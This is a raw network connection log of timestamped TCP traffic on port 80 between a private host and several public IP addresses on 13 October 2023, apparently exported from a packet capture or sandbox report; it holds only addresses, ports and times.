Oct 13, 2023 16:06:12.563077927 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563107014 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563184023 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563200951 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563230991 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563260078 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563792944 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563852072 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563877106 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563894987 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563925028 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563942909 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.563951015 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.563963890 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.564008951 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.564054966 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.564078093 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.564105034 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.564110041 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.564122915 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.564150095 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.564747095 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.564796925 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.564896107 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.564940929 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.564945936 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.564992905 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565009117 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565026999 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565038919 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565056086 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565066099 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565076113 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565108061 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565108061 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565125942 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565155983 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565192938 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565207005 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565234900 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565874100 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565923929 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.565948009 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.565994024 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.566009998 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.566056967 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.603943110 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:12.603985071 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:12.865329981 CEST	80	49782	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:12.866627932 CEST	49782	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:12.886377096 CEST	80	49783	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:12.890254021 CEST	49783	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:12.921173096 CEST	49783	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:12.946751118 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:12.961935043 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962022066 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962033987 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962083101 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962106943 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962136030 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962132931 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.962152004 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962187052 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962424040 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.962424040 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.962424040 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.962827921 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962865114 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.962867975 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.962908983 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.962908983 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.962987900 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963000059 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963011026 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963033915 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963067055 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963067055 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963102102 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963149071 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963260889 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963324070 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963329077 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963380098 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963452101 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963498116 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963846922 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963860989 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963875055 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963901043 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963912010 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963922024 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963928938 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.963958979 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.963989019 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.964102983 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.964138031 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.964188099 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.964314938 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:12.964910030 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.964946032 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.964998960 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965013027 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965030909 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965044022 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965060949 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965082884 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965090036 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965131998 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965164900 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965178967 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965209961 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965225935 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965239048 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965272903 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965303898 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965394020 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965603113 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965615988 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965751886 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965776920 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965909958 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965923071 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.965960026 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.965991020 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.966105938 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966207027 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966223955 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966259956 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.966289043 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.966809988 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966823101 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966835022 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966881990 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.966905117 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.966914892 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966928005 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966969967 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.966976881 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.966983080 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.967022896 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.967031002 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.967042923 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.967048883 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.967098951 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.967384100 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.967421055 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.967443943 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.967473030 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.967608929 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.967655897 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.967926025 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.967992067 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968004942 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968018055 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968050957 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968050003 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968070984 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968071938 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968123913 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968167067 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968178034 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968213081 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968244076 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968411922 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968682051 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968733072 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968946934 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968959093 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.968991995 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.968996048 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.969011068 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.969012022 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.969054937 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.969080925 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.969126940 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.969171047 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.969217062 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.969232082 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.969275951 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.969960928 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970012903 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970016956 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970030069 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970056057 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970061064 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970073938 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970082045 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970101118 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970119953 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970124006 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970141888 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970170975 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970195055 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970206976 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970221043 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970235109 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970268965 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970299006 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970768929 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970865011 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.970941067 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.970992088 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971010923 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971023083 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971043110 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971060038 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971061945 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971077919 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971081018 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971107006 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971107960 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971124887 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971155882 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971435070 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971483946 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971765041 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971812963 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971884012 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971895933 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971927881 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.971930981 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971966982 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.971966982 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.972002983 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972018003 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972064972 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.972074032 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972142935 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.972176075 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972187996 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972223043 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.972251892 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.972836971 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972887039 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972898006 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:12.972939968 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:12.972970009 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:13.007421970 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:13.049201012 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:13.049252987 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:13.049990892 CEST	49776	80	192.168.2.4	195.158.3.162
Oct 13, 2023 16:06:13.302966118 CEST	80	49783	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:13.351507902 CEST	80	49783	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:13.352459908 CEST	49783	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:13.391926050 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:13.410125971 CEST	80	49762	91.215.85.17	192.168.2.4
Oct 13, 2023 16:06:13.413027048 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:13.458086967 CEST	80	49776	195.158.3.162	192.168.2.4
Oct 13, 2023 16:06:13.460551023 CEST	49762	80	192.168.2.4	91.215.85.17
Oct 13, 2023 16:06:13.535060883 CEST	49783	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:13.535615921 CEST	49785	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:13.743022919 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:13.743128061 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:13.743362904 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:13.905138969 CEST	80	49785	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:13.905230999 CEST	49785	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:13.911183119 CEST	80	49783	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:13.911377907 CEST	49783	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:13.911698103 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:13.939856052 CEST	49785	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:14.073204041 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073339939 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073453903 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073514938 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073581934 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073621988 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.073636055 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073712111 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.073734999 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073786974 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.073796034 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073833942 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073882103 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.073900938 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.073987007 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.074032068 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.228180885 CEST	80	49786	115.88.24.200	192.168.2.4
Oct 13, 2023 16:06:14.228271008 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:14.309381008 CEST	80	49785	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:14.347306967 CEST	80	49785	79.137.192.18	192.168.2.4
Oct 13, 2023 16:06:14.347385883 CEST	49785	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:14.387183905 CEST	49786	80	192.168.2.4	115.88.24.200
Oct 13, 2023 16:06:14.403623104 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.403649092 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.403681040 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.403713942 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.403740883 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.403795004 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.403806925 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.403872013 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.403918982 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.403959990 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404067993 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404113054 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.404149055 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404247999 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404292107 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.404336929 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404434919 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404476881 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.404521942 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404562950 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404604912 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.404633999 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404700994 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404743910 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.404787064 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404875994 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.404917955 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.405021906 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.405107975 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.405147076 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.535453081 CEST	49785	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:14.536082983 CEST	49787	80	192.168.2.4	79.137.192.18
Oct 13, 2023 16:06:14.733485937 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733499050 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733515978 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733526945 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733571053 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733586073 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733654976 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733666897 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733678102 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733705044 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733705997 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733705997 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733705997 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733719110 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733731031 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733753920 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733764887 CEST	80	49784	171.22.28.219	192.168.2.4
Oct 13, 2023 16:06:14.733792067 CEST	49784	80	192.168.2.4	171.22.28.219
Oct 13, 2023 16:06:14.733792067 CEST	49784	80	192.168.2.4	171.22.28.219
